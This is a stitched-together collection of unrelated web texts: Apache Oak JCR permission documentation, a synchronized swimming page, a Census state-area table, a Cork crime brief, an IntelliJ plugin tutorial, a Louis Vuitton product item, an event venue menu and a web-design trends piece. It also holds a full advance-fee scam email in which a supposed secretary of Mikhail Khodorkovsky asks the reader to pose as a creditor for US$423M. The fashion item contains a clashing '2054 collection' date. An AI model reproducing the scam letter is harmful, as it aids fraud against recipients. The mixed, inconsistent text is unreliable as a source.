While access control management is a optional feature, a JCR implementation is required to support the basic permission checking. The basic requirements for the permission evalution are defines as follows
Permissions encompass the restrictions imposed by any access control restrictions that may be in effect upon the content of a repository, either implementation specific or JCR-defined (Access Control Management)., which consists of
The methods defined to check permissions:
- Session#hasPermission(String absPath, String actions)
- Session#checkPermission(String absPath, String actions)
- JackrabbitSession.hasPermission(String absPath, @Nonnull String... actions) (since Jackrabbit API 2.11.0 and Oak 1.4)
The actions are expected to be a comma separated list of any of the following string constants:
- Session.ACTION_READ
- Session.ACTION_ADD_NODE
- Session.ACTION_REMOVE
- Session.ACTION_SET_PROPERTY
And defined by Jackrabbit API the following additional actions (since Jackrabbit API 2.11.0):
- JackrabbitSession.ACTION_ADD_PROPERTY
- JackrabbitSession.ACTION_MODIFY_PROPERTY
- JackrabbitSession.ACTION_REMOVE_PROPERTY
- JackrabbitSession.ACTION_REMOVE_NODE
- JackrabbitSession.ACTION_NODE_TYPE_MANAGEMENT
- JackrabbitSession.ACTION_VERSIONING
- JackrabbitSession.ACTION_LOCKING
- JackrabbitSession.ACTION_READ_ACCESS_CONTROL
- JackrabbitSession.ACTION_MODIFY_ACCESS_CONTROL
- JackrabbitSession.ACTION_USER_MANAGEMENT
Note: As of Oak 1.0 the these methods also handle the names of the permissions defined by Oak (see Permissions#getString(long permissions)).
See also section Permissions vs Privileges for a comparison of these permission checks and testing privileges on the AccessControlManager.
Examples
Test if session has permission to add a new node (JCR API)
Important: absPath refers to the node to be created
Node content = session.getNode("/content");
if (session.hasPermission("/content/newNode", Session.ACTION_ADD_NODE)) {
content.addNode("newNode");
session.save();
}
Test if session has permission to perform version and lock operations (Jackrabbit API)
Node content = jrSession.getNode("/content");
if (jrSession.hasPermission("/content", JackrabbitSession.ACTION_VERSIONING, JackrabbitSession.ACTION_LOCKING))) {
content.checkin();
session.save();
}
Test if session has permission to perform version operations (Oak SPI)
Node content = session.getNode("/content");
if (session.hasPermission("/content", Permissions.getString(Permissions.VERSION_MANAGEMENT))) {
content.checkin();
session.save();
}
Oak Permissions
General Notes
As of Oak 1.0 Permission evaluation is intended to be completely separated from the access control management as defined by JCR and Jackrabbit API. While the evaluation and enforcing permissions is considered to be an internal feature of the Oak core module, the package org.apache.jackrabbit.oak.spi.security.authorization.permission provides some extensions points that allow to plug custom extensions or implementations the evaluation (see API Extensions below).
Built-in Permissions
Oak 1.0 defines the following Permissions:
Simple Permissions
Read operations:
- READ_NODE
- READ_PROPERTY
- READ_ACCESS_CONTROL
Write operations:
- ADD_NODE
- REMOVE_NODE
- MODIFY_CHILD_NODE_COLLECTION
- ADD_PROPERTY
- MODIFY_PROPERTY
- REMOVE_PROPERTY
- NODE_TYPE_MANAGEMENT
- MODIFY_ACCESS_CONTROL
- LOCK_MANAGEMENT
- VERSION_MANAGEMENT
Since Oak 1.0:
- USER_MANAGEMENT: : execute user management related tasks such as e.g. creating or removing user/group, changing user password and editing group membership.
- INDEX_DEFINITION_MANAGEMENT: create, modify and remove the oak:index node and it’s subtree which is expected to contain the index definitions.
Repository operations:
- NODE_TYPE_DEFINITION_MANAGEMENT
- NAMESPACE_MANAGEMENT
- PRIVILEGE_MANAGEMENT
- WORKSPACE_MANAGEMENT
Not used in Oak 1.0:
- LIFECYCLE_MANAGEMENT
- RETENTION_MANAGEMENT
Aggregated Permissions
- READ: aggregates READ_NODE and READ_PROPERTY
- REMOVE: aggregates REMOVE_NODE and REMOVE_PROPERTY
- SET_PROPERTY: aggregates ADD_PROPERTY, MODIFY_PROPERTY and REMOVE_PROPERTY
- WRITE: aggregates ADD_NODE, REMOVE_NODE and SET_PROPERTY
- ALL: aggregates all permissions
Mapping of JCR Actions to Oak Permissions
ACTION_READ:
- access control content: Permissions.READ_ACCESS_CONTROL
- regular nodes: Permissions.READ_NODE
- regular properties: Permissions.READ_PROPERTY
- non-existing items: Permissions.READ
ACTION_ADD_NODE:
- access control content: Permissions.MODIFY_ACCESS_CONTROL
- regular nodes: Permissions.ADD_NODE
ACTION_REMOVE:
- access control content: Permissions.MODIFY_ACCESS_CONTROL
- regular nodes: Permissions.REMOVE_NODE
- regular properties: Permissions.REMOVE_PROPERTY
- non-existing nodes: Permissions.REMOVE
ACTION_SET_PROPERTY:
- access control content: Permissions.MODIFY_ACCESS_CONTROL
- regular properties: Permissions.MODIFY_PROPERTY
- non-existing properties: Permissions.ADD_PROPERTY
ACTION_ADD_PROPERTY:
- access control content: Permissions.MODIFY_ACCESS_CONTROL
- other properties: Permissions.ADD_PROPERTY
ACTION_MODIFY_PROPERTY:
- access control content: Permissions.MODIFY_ACCESS_CONTROL
- other properties: Permissions.MODIFY_PROPERTY
ACTION_REMOVE_PROPERTY:
- access control content: Permissions.MODIFY_ACCESS_CONTROL
- other properties: Permissions.REMOVE_PROPERTY
ACTION_REMOVE_NODE:
- access control content: Permissions.MODIFY_ACCESS_CONTROL
- regular nodes: Permissions.REMOVE_NODE
ACTION_NODE_TYPE_MANAGEMENT
- Permissions.NODE_TYPE_MANAGEMENT
ACTION_VERSIONING
- Permissions.VERSION_MANAGEMENT
ACTION_LOCKING
- Permissions.LOCK_MANAGEMENT
ACTION_READ_ACCESS_CONTROL
- Permissions.READ_ACCESS_CONTROL
ACTION_MODIFY_ACCESS_CONTROL
- Permissions.MODIFY_ACCESS_CONTROL
ACTION_USER_MANAGEMENT
- Permissions.USER_MANAGEMENT
Permissions for Different Operations
Reading
- Regular Items: Due to the fine grained read permissions Oak read access can be separately granted/denied for nodes and properties. Granting the jcr:read privilege will result in a backwards compatible read access for nodes and their properties, while specifying rep:readNodes or rep:readProperties privileges allows to grant or deny access to nodes and properties (see also Privilege Management for changes in the privilege definitions). Together with the restrictions this new behavior now allows to individually grant/deny access to properties that match a given name/path/nodetype (and as a possible extension even property value).
- Version Content: The accessibility of version content located underneath /jcr:system/jcr:versionStore is defined by the permissions present with the versionable node. In case the version information does no longer have a versionable node in this workspace it’s original versionable path is used to evaluate the effective permissions that would apply to that item if the version was restored. This change is covered by OAK-444 and addresses concerns summarized in JCR-2963.
- Access Control Content Read access to access control content such node storing policy or ACE information requires READ_ACCESS_CONTROL permission.
Writing
- Property Modification: Since Oak the former SET_PROPERTY permission has been split such to allow for more fined grained control on writing JCR properties. In particular Oak clearly distinguishes between creating a new property that didn’t exist before, modifying or removing an existing property. This will allow to cover those cases where a given Subject is only allowed to create content without having the ability to modify/delete it later on.
- Node Removal: As of Oak Node#remove() only requires sufficient permissions to remove the target node. See below for configuration parameters to obtain backwards compatible behavior.
- Rename: Due to the nature of the diff mechanism in Oak it is no longer possible to distinguish between JackrabbitNode#rename and a move with subsequent reordering.
- Move: The current permission evaluation attempts to provide a best-effort handling to achieve a similar behavior that it was present in Jackrabbit 2.x by keeping track of transient move operations. The current implementation has the following limitations with respect to multiple move operations within a given set of transient operations:
- Move operations that replace an node that has been moved away will not be detected as modification by the diff mechanism and regular permission checks for on the subtree will be performed.
- Moving an ancestor of a node that has been moved will only detect the second move and will enforce regular permissions checks on the child that has been moved in a first step.
- Managing Index Definitions: Writing query index definitions requires the specific index definition management which is enforce on nodes named “oak:index” and the subtree defined by them. Note that the corresponding items are not protected in the JCR sense. Consequently any other modification in these subtrees like e.g. changing the primary type or adding mixin types is governed by the corresponding privileges.
Writing Protected Items
Writing protected items requires specific permissions and is not covered by regular JCR write permissions. This affects:
- Set/Modify Primary or Mixin Type: NODE_TYPE_MANAGEMENT
- Access Control Content: MODIFY_ACCESS_CONTROL
- Locking: LOCK_MANAGEMENT
- Versioning: Executing version related operations and thus writing to the version store requires VERSION_MANAGEMENT permission instead of the regular JCR write permissions. Similarly, the content in the version store can only be modified using the dedicated version management API.
- User Management: By default user management operations require the specific user management related permission USER_MANAGEMENT to be granted for the editing subject. This permission (including a corresponding privilege) has been introduced with Oak 1.0. See below for configuration parameters to obtain backwards compatible behavior.
Observation
Permission evaluation is also applied when delivering observation events respecting the effective permission setup of the Session that registered the EventListener.
However, it is important to understand that events are only delivered once the modifications have been successfully persisted and permissions will be evaluated against the persisted state.
In other words: Changing the permission setup along with the modifications to be reported to the EventListener will result in events being included or excluded according to the modified permissions. See OAK-4196 for an example.
API Extensions
Due to the separation of access control management from permission evaluation, Oak 1.0 comes with a dedicated API for permission discovery that is used both for the repository internal permission evaluation as well as for permission discovery at JCR level.
The package org.apache.jackrabbit.oak.spi.security.authorization.permission defines the following interfaces and classes:
Characteristics of the Permission Evaluation
As explained above permission evaluation is completely separated from the access control management and the associated ccontent. The evaluation itself is done by the configured PermissionProvider.
Each JCR Session (and Oak ContentSession) gets it’s own PermissionProvider associated with the current repository revision the session is operating on. The evaluated permissions and caches are not shared between different sessions even if they represent the same subject.
Differences wrt Jackrabbit 2.x
see the corresponding documentation.
Configuration
The configuration of the permission evaluation implementation is handled by the AuthorizationConfiguration, which is used for all authorization related matters. This class provides the following two permission related methods:
- getPermissionProvider(Root, String, Set<Principal>): get a new PermissionProvider instance.
Configuration Parameters
The supported configuration options of the default implementation are described in the corresponding section.


Competitive synchronized swimming for adults and kids, as well as beginning camps and classes. Only open to members of the Multnomah Athletic Club.
Contact Coach Michele for more infoCompetitive synchronized swimming for adults and kids, as well as beginning camps and classes. Open to all.
Contact Coach Christina for more infoBeginning synchronized swimming camps and classes.
Contact Coach Marissa for more infoSpectators have been awed by the grace and power of synchronized swimming since the inception of the sport in the early 1900s. Synchronized swimming requires a unique combination of overall body strength and agility, grace and beauty, split-second timing, musical interpretation, stamina and dramatic flair.
The inaugural synchronized swimming U.S. National Championships were held in 1946, just one year after the Amateur Athletic Union (AAU) first recognized the sport. A few years later, the 1955 Pan American Games included synchronized swimming events, and the World Aquatic Championships soon followed. After almost 40 years of concerted effort, synchronized swimming was at last included in the Olympic Games in 1984, with the United States winning the first solo and duet Olympic gold medals.
Three events are currently recognized internationally in synchronized swimming: solo, duet and team (eight swimmers). The competitive rules and manner of judging are similar to such sports as figure skating and gymnastics. In the 1996 Olympics, the team event replaced solo and duet competition, which had been a part of the Olympic program since 1984. However, the overwhelming demand for tickets and broad television appeal of the 1996 team event prompted the IOC to reinstate the duet event for 2000.
U.S. Synchronized Swimming [USSS], also known as USA Synchro, was established as a nonprofit organization in 1979 and is the United States national governing body for the sport. It is recognized by the International Olympic Committee, the United States Olympic Committee and FINA (Federation Internationale de Natation Amateur) — the international governing federation.
USSS organizes, participates in, and promotes a variety of competitive events each year. These events begin at the local level and continue in the following categories: Age Group (12-19), Junior (15-18), Senior and Masters (20+).
U.S. Synchronized Swimming’s funding comes from a variety of sources including: membership fees, the U.S. Olympic Committee, corporate sponsorship, and private and public donations. The four-person National Office of USA Synchro is located in Indianapolis.


The table below provides land, water and total area measurements for the 50 states, the District of Columbia, Puerto Rico and the Island Areas. The area measurements were derived from the Census Bureau's Master Address File/Topologically Integrated Geographic Encoding and Referencing (MAF/TIGER®) database. The boundaries of the states and equivalent areas are as of January 1, 2010. The land and water areas, including their classifications, reflect base feature updates made in the MAF/TIGER® database through August, 2010. The area measurements, in square kilometers and square miles, are for statistical purposes only.
| State and other areas2 | Total Area | Land Area1 | Water Area1 | Internal Point - Latitude Value |
Internal Point - Longitude Value |
|||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Total | Inland | Coastal | Great Lakes | Territorial | ||||||||||||
| Sq. Mi. | Sq. Km. | Sq. Mi. | Sq. Km. | Sq. Mi. | Sq. Km. | Sq. Mi. | Sq. Km. | Sq. Mi. | Sq. Km. | Sq. Mi. | Sq. Km. | Sq. Mi. | Sq. Km. | |||
| Total3 | 3,805,927 | 9,857,306 | 3,535,932 | 9,158,022 | 269,995 | 699,284 | 85,763 | 222,125 | 42,371 | 109,742 | 60,094 | 155,643 | 81,767 | 211,774 | ||
| United States4 | 3,796,742 | 9,833,517 | 3,531,905 | 9,147,593 | 264,837 | 685,924 | 85,647 | 221,824 | 42,337 | 109,652 | 60,094 | 155,643 | 76,759 | 198,806 | ||
| Alabama | 52,420 | 135,767 | 50,645 | 131,171 | 1,775 | 4,597 | 1,058 | 2,740 | 517 | 1,340 | — | — | 199 | 516 | +32.7396323 | -086.8434593 |
| Alaska | 665,384 | 1,723,337 | 570,641 | 1,477,953 | 94,743 | 245,383 | 19,304 | 49,997 | 26,119 | 67,647 | — | — | 49,320 | 127,739 | +63.3461910 | -152.8370679 |
| Arizona | 113,990 | 295,234 | 113,594 | 294,207 | 396 | 1,026 | 396 | 1,026 | — | — | — | — | — | — | +34.2099643 | -111.6024010 |
| Arkansas | 53,179 | 137,732 | 52,035 | 134,771 | 1,143 | 2,961 | 1,143 | 2,961 | — | — | — | — | — | — | +34.8955256 | -092.4446262 |
| California | 163,695 | 423,967 | 155,779 | 403,466 | 7,916 | 20,501 | 2,833 | 7,339 | 245 | 634 | — | — | 4,837 | 12,528 | +37.1485730 | -119.5406515 |
| Colorado | 104,094 | 269,601 | 103,642 | 268,431 | 452 | 1,170 | 452 | 1,170 | — | — | — | — | — | — | +38.9935752 | -105.5077737 |
| Connecticut | 5,543 | 14,357 | 4,842 | 12,542 | 701 | 1,816 | 171 | 443 | 530 | 1,372 | — | — | — | — | +41.5797842 | -072.7466666 |
| Delaware | 2,489 | 6,446 | 1,949 | 5,047 | 540 | 1,399 | 91 | 237 | 355 | 920 | — | — | 94 | 242 | +38.9935501 | -075.4473739 |
| District of Columbia | 68 | 177 | 61 | 158 | 7 | 19 | 7 | 19 | — | — | — | — | — | — | +38.9041485 | -077.0170942 |
| Florida | 65,758 | 170,312 | 53,625 | 138,887 | 12,133 | 31,424 | 5,027 | 13,019 | 1,349 | 3,495 | — | — | 5,757 | 14,911 | +28.4574302 | -082.4091478 |
| Georgia | 59,425 | 153,910 | 57,513 | 148,959 | 1,912 | 4,951 | 1,412 | 3,657 | 46 | 119 | — | — | 453 | 1,175 | +32.6293840 | -083.4232125 |
| Hawaii | 10,932 | 28,313 | 6,423 | 16,635 | 4,509 | 11,678 | 42 | 109 | 9 | 23 | — | — | 4,458 | 11,546 | +19.8097670 | -155.5061027 |
| Idaho | 83,569 | 216,443 | 82,643 | 214,045 | 926 | 2,398 | 926 | 2,398 | — | — | — | — | — | — | +44.3020948 | -114.5956254 |
| Illinois | 57,914 | 149,995 | 55,519 | 143,793 | 2,395 | 6,202 | 820 | 2,124 | — | — | 1,575 | 4,078 | — | — | +40.1028754 | -089.1526108 |
| Indiana | 36,420 | 94,326 | 35,826 | 92,789 | 593 | 1,537 | 361 | 935 | — | — | 233 | 602 | — | — | +39.9030256 | -086.2839503 |
| Iowa | 56,273 | 145,746 | 55,857 | 144,669 | 416 | 1,077 | 416 | 1,077 | — | — | — | — | — | — | +42.0700243 | -093.4933473 |
| Kansas | 82,278 | 213,100 | 81,759 | 211,754 | 520 | 1,346 | 520 | 1,346 | — | — | — | — | — | — | +38.4985464 | -098.3834298 |
| Kentucky | 40,408 | 104,656 | 39,486 | 102,269 | 921 | 2,387 | 921 | 2,387 | — | — | — | — | — | — | +37.5336807 | -085.2929841 |
| Louisiana | 52,378 | 135,659 | 43,204 | 111,898 | 9,174 | 23,761 | 4,562 | 11,815 | 2,880 | 7,460 | — | — | 1,732 | 4,486 | +30.8577705 | -091.8032730 |
| Maine | 35,380 | 91,633 | 30,843 | 79,883 | 4,537 | 11,750 | 2,314 | 5,992 | 591 | 1,530 | — | — | 1,633 | 4,228 | +45.3906022 | -068.6574869 |
| Maryland | 12,406 | 32,131 | 9,707 | 25,142 | 2,699 | 6,990 | 768 | 1,990 | 1,820 | 4,714 | — | — | 111 | 286 | +38.9466584 | -076.6744939 |
| Massachusetts | 10,554 | 27,336 | 7,800 | 20,202 | 2,754 | 7,134 | 486 | 1,258 | 1,177 | 3,048 | — | — | 1,092 | 2,829 | +42.1565196 | -071.4895915 |
| Michigan | 96,714 | 250,487 | 56,539 | 146,435 | 40,175 | 104,052 | 2,001 | 5,182 | — | — | 38,174 | 98,870 | — | — | +44.8410835 | -085.6593197 |
| Minnesota | 86,936 | 225,163 | 79,627 | 206,232 | 7,309 | 18,930 | 4,763 | 12,336 | — | — | 2,546 | 6,594 | — | — | +46.3161343 | -094.1994801 |
| Mississippi | 48,432 | 125,438 | 46,923 | 121,531 | 1,509 | 3,907 | 769 | 1,992 | 616 | 1,596 | — | — | 123 | 318 | +32.6864655 | -089.6561493 |
| Missouri | 69,707 | 180,540 | 68,742 | 178,040 | 965 | 2,501 | 965 | 2,501 | — | — | — | — | — | — | +38.3507500 | -092.4567826 |
| Montana | 147,040 | 380,831 | 145,546 | 376,962 | 1,494 | 3,869 | 1,494 | 3,869 | — | — | — | — | — | — | +47.0511771 | -109.6348174 |
| Nebraska | 77,348 | 200,330 | 76,824 | 198,974 | 524 | 1,356 | 524 | 1,356 | — | — | — | — | — | — | +41.5438105 | -099.8123253 |
| Nevada | 110,572 | 286,380 | 109,781 | 284,332 | 791 | 2,048 | 791 | 2,048 | — | — | — | — | — | — | +39.3310928 | -116.6151469 |
| New Hampshire | 9,349 | 24,214 | 8,953 | 23,187 | 397 | 1,027 | 328 | 849 | — | — | — | — | 69 | 178 | +43.6708595 | -071.5811278 |
| New Jersey | 8,723 | 22,591 | 7,354 | 19,047 | 1,368 | 3,544 | 436 | 1,128 | 427 | 1,105 | — | — | 506 | 1,311 | +40.1072744 | -074.6652012 |
| New Mexico | 121,590 | 314,917 | 121,298 | 314,161 | 292 | 757 | 292 | 757 | — | — | — | — | — | — | +34.4391265 | -106.1261511 |
| New York | 54,555 | 141,297 | 47,126 | 122,057 | 7,429 | 19,240 | 1,989 | 5,151 | 975 | 2,526 | 3,986 | 10,324 | 479 | 1,240 | +42.9133974 | -075.5962723 |
| North Carolina | 53,819 | 139,391 | 48,618 | 125,920 | 5,201 | 13,471 | 4,052 | 10,495 | — | — | — | — | 1,149 | 2,976 | +35.5397100 | -079.1308636 |
| North Dakota | 70,698 | 183,108 | 69,001 | 178,711 | 1,698 | 4,397 | 1,698 | 4,397 | — | — | — | — | — | — | +47.4569538 | -100.4619304 |
| Ohio | 44,826 | 116,098 | 40,861 | 105,829 | 3,965 | 10,269 | 474 | 1,227 | — | — | 3,491 | 9,042 | — | — | +40.4149297 | -082.7119975 |
| Oklahoma | 69,899 | 181,037 | 68,595 | 177,660 | 1,304 | 3,377 | 1,304 | 3,377 | — | — | — | — | — | — | +35.5894185 | -097.4868683 |
| Oregon | 98,379 | 254,799 | 95,988 | 248,608 | 2,391 | 6,191 | 1,068 | 2,766 | 72 | 186 | — | — | 1,251 | 3,240 | +43.9715225 | -120.6226269 |
| Pennsylvania | 46,054 | 119,280 | 44,743 | 115,883 | 1,312 | 3,397 | 563 | 1,459 | — | — | 748 | 1,938 | — | — | +40.9042486 | -077.8280624 |
| Rhode Island | 1,545 | 4,001 | 1,034 | 2,678 | 511 | 1,324 | 182 | 470 | 64 | 165 | — | — | 266 | 688 | +41.5978358 | -071.5252895 |
| South Carolina | 32,020 | 82,933 | 30,061 | 77,857 | 1,960 | 5,076 | 1,064 | 2,755 | 110 | 286 | — | — | 786 | 2,036 | +33.8741769 | -080.8542699 |
| South Dakota | 77,116 | 199,729 | 75,811 | 196,350 | 1,305 | 3,379 | 1,305 | 3,379 | — | — | — | — | — | — | +44.4467957 | -100.2381762 |
| Tennessee | 42,144 | 109,153 | 41,235 | 106,798 | 909 | 2,355 | 909 | 2,355 | — | — | — | — | — | — | +35.8585639 | -086.3493573 |
| Texas | 268,596 | 695,662 | 261,232 | 676,587 | 7,365 | 19,075 | 5,616 | 14,546 | 401 | 1,040 | — | — | 1,347 | 3,489 | +31.4347032 | -099.2818238 |
| Utah | 84,897 | 219,882 | 82,170 | 212,818 | 2,727 | 7,064 | 2,727 | 7,064 | — | — | — | — | — | — | +39.3349735 | -111.6563633 |
| Vermont | 9,616 | 24,906 | 9,217 | 23,871 | 400 | 1,035 | 400 | 1,035 | — | — | — | — | — | — | +44.0605475 | -072.6733540 |
| Virginia | 42,775 | 110,787 | 39,490 | 102,279 | 3,285 | 8,508 | 1,282 | 3,320 | 1,565 | 4,053 | — | — | 438 | 1,135 | +37.5222512 | -078.6681938 |
| Washington | 71,298 | 184,661 | 66,456 | 172,119 | 4,842 | 12,542 | 1,715 | 4,441 | 2,468 | 6,392 | — | — | 660 | 1,709 | +47.4162296 | -120.5996231 |
| West Virginia | 24,230 | 62,756 | 24,038 | 62,259 | 192 | 497 | 192 | 497 | — | — | — | — | — | — | +38.6472854 | -080.6183274 |
| Wisconsin | 65,496 | 169,635 | 54,158 | 140,268 | 11,339 | 29,367 | 1,997 | 5,172 | — | — | 9,342 | 24,195 | — | — | +44.6284840 | -089.7119299 |
| Wyoming | 97,813 | 253,335 | 97,093 | 251,470 | 720 | 1,864 | 720 | 1,864 | — | — | — | — | — | — | +42.9918024 | -107.5419255 |
| Puerto Rico | 5,325 | 13,791 | 3,424 | 8,868 | 1,901 | 4,924 | 76 | 198 | 13 | 34 | — | — | 1,812 | 4,692 | +18.2176480 | -066.4107992 |
| Island Areas:5 | 3,860 | 9,998 | 603 | 1,562 | 3,257 | 8,436 | 40 | 104 | 22 | 56 | — | — | 3,196 | 8,277 | ||
| American Samoa | 581 | 1,505 | 76 | 198 | 505 | 1,307 | 8 | 21 | — | — | — | — | 497 | 1,286 | -14.2638166 | -170.6620902 |
| Guam | 571 | 1,478 | 210 | 543 | 361 | 935 | 8 | 21 | 1 | 2 | — | — | 352 | 911 | +13.4383000 | +144.7729285 |
| Northern Mariana Islands | 1,976 | 5,117 | 182 | 472 | 1,793 | 4,644 | 6 | 16 | 5 | 13 | — | — | 1,782 | 4,615 | +14.9367835 | +145.6010210 |
| U.S. Virgin Islands | 733 | 1,898 | 134 | 348 | 599 | 1,550 | 18 | 46 | 16 | 40 | — | — | 565 | 1,464 | +18.3267485 | -064.9712501 |
The ANSI standard for converting square kilometers into square miles was used ( 1 square mile = 2.58998811 square kilometers).
— represents or rounds to zero.
1 Water area calculations in this table include only perennial water. All other water (intermittent, glacier, and marsh/swamp) is included in this table as part of land area calculations.
2 This table does not include area calculations for the U.S. Minor Outlying Islands.
3 Includes all 50 states, the District of Columbia, Puerto Rico, and the Island Areas.
4 Includes all 50 states and the District of Columbia.
5 Includes American Samoa, Guam, the Commonwealth of the Northern Mariana Islands, and the U.S. Virgin Islands.
Source: U.S. Census Bureau, unpublished data from the MAF/TIGER database.


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Man due in court in connection with robbery at Cork service station
by By Digital Desk staffA man is to appear in court today charged in connection with a robbery at a Cork service station on Sunday night.
The 23-year-old was arrested near the scene shortly after the robbery, which took place shortly after 5.30pm.
A sum of cash was recovered in the operation by gardaí and armed detectives who responded from Anglesea Street and Blackrock Garda stations.
There were no reported injuries during the incident.
He is due in Cork District Court this morning.
READ MORE
Man found in burning car in Dublin believed to have been shot


Run Configurations
These series of steps show how to register and implement a simple Run Configuration. Run Configurations are used to run internal and external processes from within IntelliJ Platform based products. To get familiar with the concept of a Run Configuration refer Run/Debug Configuration section of IntelliJ IDEA Web Help
Pre-requirements.
Create an empty plugin project. See Creating a Plugin Project to know how to do it.
1. Register a New Configuration Type
Add new configurationType extension to the plugin.xml
<extensions defaultExtensionNs="com.intellij">
<configurationType implementation="org.jetbrains.tutorials.run.configuration.DemoRunConfigurationType"/>
</extensions>
2. Implement ConfigurationType
Implement ConfigurationType interface registered in the Step 1.
public class DemoRunConfigurationType implements ConfigurationType {
@Override
public String getDisplayName() {
return "Demo";
}
@Override
public String getConfigurationTypeDescription() {
return "Demo Run Configuration Type";
}
@Override
public Icon getIcon() {
return AllIcons.General.Information;
}
@NotNull
@Override
public String getId() {
return "DEMO_RUN_CONFIGURATION";
}
@Override
public ConfigurationFactory[] getConfigurationFactories() {
return new ConfigurationFactory[]{new DemoConfigurationFactory(this)};
}
}
3. Implement a Configuration Factory
Implement a new ConfigurationFactory through which custom run configurations will be created.
public class DemoConfigurationFactory extends ConfigurationFactory {
private static final String FACTORY_NAME = "Demo configuration factory";
protected DemoConfigurationFactory(ConfigurationType type) {
super(type);
}
@Override
public RunConfiguration createTemplateConfiguration(Project project) {
return new DemoRunConfiguration(project, this, "Demo");
}
@Override
public String getName() {
return FACTORY_NAME;
}
}
4. Implement a Run Configuration
To make your changes visible from the UI, implement a new Run Configuration.
Note: In most of the cases you can derive a custom Run Configuration class from the RunConfigurationBase. If you need to implement specific settings externalization rules and I/O behaviour, use RunConfiguration interface.
public class DemoRunConfiguration extends RunConfigurationBase {
protected DemoRunConfiguration(Project project, ConfigurationFactory factory, String name) {
super(project, factory, name);
}
@NotNull
@Override
public SettingsEditor<? extends RunConfiguration> getConfigurationEditor() {
return new DemoSettingsEditor();
}
@Override
public void checkConfiguration() throws RuntimeConfigurationException {
}
@Nullable
@Override
public RunProfileState getState(@NotNull Executor executor, @NotNull ExecutionEnvironment executionEnvironment) throws ExecutionException {
return null;
}
}
5. Create and Implement Run Configuration UI Form
Create a new [UI form] that defines, how an inner part of the new Run Configuration should look like. Default Run Configuration will be looking like this:
6. Bind the UI Form
The UI Form should be bound with a Java class responsible for handling UI components logic.
public class DemoSettingsEditor extends SettingsEditor<DemoRunConfiguration> {
private JPanel myPanel;
private LabeledComponent<ComponentWithBrowseButton> myMainClass;
@Override
protected void resetEditorFrom(DemoRunConfiguration demoRunConfiguration) {
}
@Override
protected void applyEditorTo(DemoRunConfiguration demoRunConfiguration) throws ConfigurationException {
}
@NotNull
@Override
protected JComponent createEditor() {
return myPanel;
}
private void createUIComponents() {
myMainClass = new LabeledComponent<ComponentWithBrowseButton>();
myMainClass.setComponent(new TextFieldWithBrowseButton());
}
}
7. Compile and Run the Plugin
Refer to Running and Debugging a Plugin section to know how this could be done.
After going through the steps described above you can create a custom Run Configuration from your plugin.


Louis Vuitton Introduces New Sneaker Trunk
The latest addition to the luxury label’s Fall/Winter 2019 lineup.
by Patrick MontesLast week, Louis Vuitton revealed plans for a special pop-up residency to commemorate their 2054 collection. Now, the popular luxury brand is introducing a new Sneaker Trunk.
Specifically, the Sneaker Trunk will be debuted at Miami’s forthcoming Savoir-Faire showcase on December 3. It will be able to hold at least six pairs of low-top shoes — up to size 13 — and eight pairs of high-top sneakers — up to size 12. Louis Vuitton will also offer a wide array of customization options for each consumer who is interested.
“Combining Louis Vuitton’s classic art of trunk craftmanship with contemporary design, Louis Vuitton’s Sneaker Trunk is the newest addition to the House’s iconic hard-sided collection,” reads an official description. “This one-of-a-kind Sneaker Trunk is an emblem of Louis Vuitton’s visionary spirit and heritage craftsmanship.”
You can take a look at Louis Vuitton’s new sneaker trunk above.
For more, check out Louis Vuitton’s new LV 408 Trainer Hi colorways.


🏠 Home
🎉 What
📍 Where
😴 Accommodation
📧 Contact
⚖ T&C
Venue:
Esferic
Address:
Plaça de Dante 08038 Barcelona Spain
GET YOUR TICKET NOW


Dear sir/madam, I am Kimaeva Lioudmila, a personal secretary to Mikhail Khodorkovsky the richest man in Russia and owner of the following companies: Chairman/ CEO: YUKOS OIL (Russian Largest Oil Company) Chairman CEO: Menatep SBP Bank (A well reputable financial institution with its branches all over the world). I seek your partnership to accommodate the sum US$423M for us. My Boss got arrested for his involvement on politics in financing the leading and opposing political parties (the Union of Right Forces, led by Boris Nemtsov, and Yabloko, a liberal/social democratic party led by Gregor Yavlinsky) which posed treat to President Vladimir Putin second tenure as Russian president before he was reelected On March 14, 2004. You can catch more of the story on this <http://newsfromrussia.com/main/2003/11/13/51215.html> the fund (US$423M) in question was approved by the Government of Russia for payment of various YUKOS OIL contractors/suppliers to prevent them from loosing the money they invested in the numerous contracts they executed for the above firm. The Government had already concluded plans to frozen all the accounts in my boss name (Mikhail Khodorkovsky) both corporate and personal before I connived with the Accountant General of YUKOS OIL (who is also my partner in this transaction) to raise a memo stating that YUKOS OIL owe contractors the above amount which was finally approved for payment after some deliberations. Actually, we have paid all our contractors both local and foreign because they agitated for their payment when they had that my boss was arrested. YOUR ROLE: I will present you / your company as one of the contractors we are owing so that you can stand as the beneficiary of the above quoted sum or PART of the fund according to your financial strength or the strength of your company. I will arrange for the documentation, which the payee bank will need to transfer the sum to you. I have decided to use this sum to relocate to American continent and never to be connected to any of Mikhail Khodorkovsky conglomerates. The transaction has to be concluded as soon as possible. You will be rewarded with 10% of the total sum for your partnership. Can you be our partner on this transaction? As soon as I get your willingness to assist us in this deal, I will give you more details. Thank you very much. For confidential reasons, please reply to<EMAIL_ADDRESS>RegardsI Ms. Kimaeva Lioudmila


Various trends in web design and development can make websites
appealing and user-friendly.
Fremont, CA: Web development is one of the few industries that changes
as quickly as it does. Customer preferences are volatile, to say the
least, as languages change, design approaches shift, and consumer
tastes shift. Keeping up with the current trends can be difficult. The
design and development world is moving in some of the most well-known
and impactful directions.
Trends in web design and development to look out for:
Progressive web apps
Progressive Web Apps are the first trend to look at (PWAs). These are
web-based applications that strive to blend the most significant
features of both online and mobile apps while utilizing cutting-edge
technologies. PWAs are web pages developed with web technologies to
mimic the behavior and feel of native apps. This also means that they
can be viewed in any browser. PWAs are significantly easier to deploy
and maintain, which is a big plus for developers. Instead of dealing
with a separate web app for each mobile platform, the user needs to
deal with a single app for all devices.
Neumorphism
Neumorphism is one of the recent design approaches that mixes elements
of old-school skeuomorphism with current, "flat" design. Neumorphism
tries to combine flat design's clean aesthetic with skeuomorphism's 3D
experience. Flat icons, gradients, and elevated User Interface (UI)
elements like buttons are common. Neumorphism is a clean, modern, and
appealing design that is a little more useful and easier to traverse
than a flat design.
User-friendly design
It isn't easy to operate a modern smartphone with just one hand. To
compensate, some designers have shifted essential UI elements to the
bottom of the page. When holding a smartphone in the most frequent
way, this has the effect of making stuff simpler to access.
Color gradients
Gradients are incredible. They're appealing to the eye, can be
eye-catching, and help web content stand out. The use of bold text
against a gradient background may be very effective at catching the
attention without being too distracting.
